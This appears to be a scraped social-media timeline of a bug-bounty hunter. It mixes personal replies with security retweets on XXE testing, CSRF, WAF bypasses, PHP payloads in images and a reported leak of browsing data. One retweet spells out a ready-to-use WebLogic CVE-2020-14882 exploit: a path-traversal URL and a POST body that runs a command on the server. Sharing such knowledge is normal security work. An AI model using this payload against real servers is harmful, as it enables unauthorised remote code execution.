tiara 

[Intigriti @intigriti]

Can you spot the vulnerability? 🔎

Show us how you'd create an admin account in the comments 👇
The best explanation gets a 25€ SWAG voucher! 👕

[tiara  @ReconOne_]

change username to @ReconOne_

[tiara  @ReconOne_]

Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there !
#infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding #opensource #Linux #windows #DFIR #macOS #platform
https://t.co/uIH2fYbG4a

[Teguh Aprianto @secgron]

Tahun 2020 kemarin kita berhasil menekan @IndiHome untuk mematikan tracker milik mereka yang selama ini digunakan untuk mencuri browsing history milik pelanggan.

Sekarang 26 juta browsing history yang dicuri itu bocor dan dibagikan gratis. Ternyata berikut dengan nama dan NIK 🙂

[vulnX @vuln_X]

Hunting CSRF: An attacker’s perspective:✅

👇 💣
#bugbountytips #infosec

[tiara  @ReconOne_]

@Telkomsel Hi, kok banyak yang hubungi saya padahal kan nomor baru kok bisa banyak nomor asing, pas regis ke wa pun gitu banyak chat yang masuk

[Harsh Bothra @harshbothra_]

[4/n]
2. Convert the content-type to XML using the "Content-Type Converter" Burp Extension.
3. Process the Request and if the request is processed successfully, it means that the XML parsing is supported.
4. Now, attempt to exploit XXE

Interesting Read: https://t.co/U0uBPRZV8w

[tiara  @ReconOne_]

@utmman bikin pendeteksi jodoh

[tiara  @ReconOne_]

@Cloudflare huff

[tiara  @ReconOne_]

depends from person to person as something difficult for me can be easy for someone else and vice-versa

[tiara  @ReconOne_]

@Pethuraj looks like your workflow means nothing

[Aditya Dixit @zombie007o]

Just published a write-up on Account Takeover due to OAuth Misconfiguration + CSRF + XSS and Weak CSP.

https://t.co/lslyFhDmbF

#Pentesting #hacking #cybersecurity #infosec #bugbounty #bugbountytips

[Jas502n @jas502n]

Query the gitbla version number through the css file name and build a database index

Example：gitlab/gitlab-ce:13.9.5-ce.0

application-d161b6e25db66456f8e0603de5132d1ff90f9388d0a0305d2d073a67fd229ddb.css

https://t.co/KoMed8wi3s

https://t.co/rVreHFJPU0

[Jas502n @jas502n]

#CVE-2020–14882 Weblogic Unauthorized bypass RCE
http://x.x.x.x:7001/console/images/%252E%252E%252Fconsole.portal

POST:

_nfpb=true&_pageLabel=&handle=https://t.co/jBUfUasQC1.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

https://t.co/nU8xkK30DU

[payloadartist @payloadartist]

Pretty interesting writeup on bypassing ModSecurity WAF for SQLi.

🌟"When MySQL sees 1.e(abc), it will ignore the 1.e( portion because the following characters do not form a valid numeric value."🌟

https://t.co/nOa5bBvQNC

#bugbountytips #bugbounty #infosec #cybersecurity

[tiara  @ReconOne_]

@sansforensics I need a free course 😂

[tiara  @ReconOne_]

@SecuritySatch @PentesterLab @snyff I saw his post on linkedin, and make me to move forward

[tiara  @ReconOne_]

@z0idsec I want to join but my application has been rejected

[tiara  @ReconOne_]

ChopChop is a CLI to help developers scanning endpoints and identifying exposition of sensitive services/files/folders.

https://t.co/AOWRiRBYQO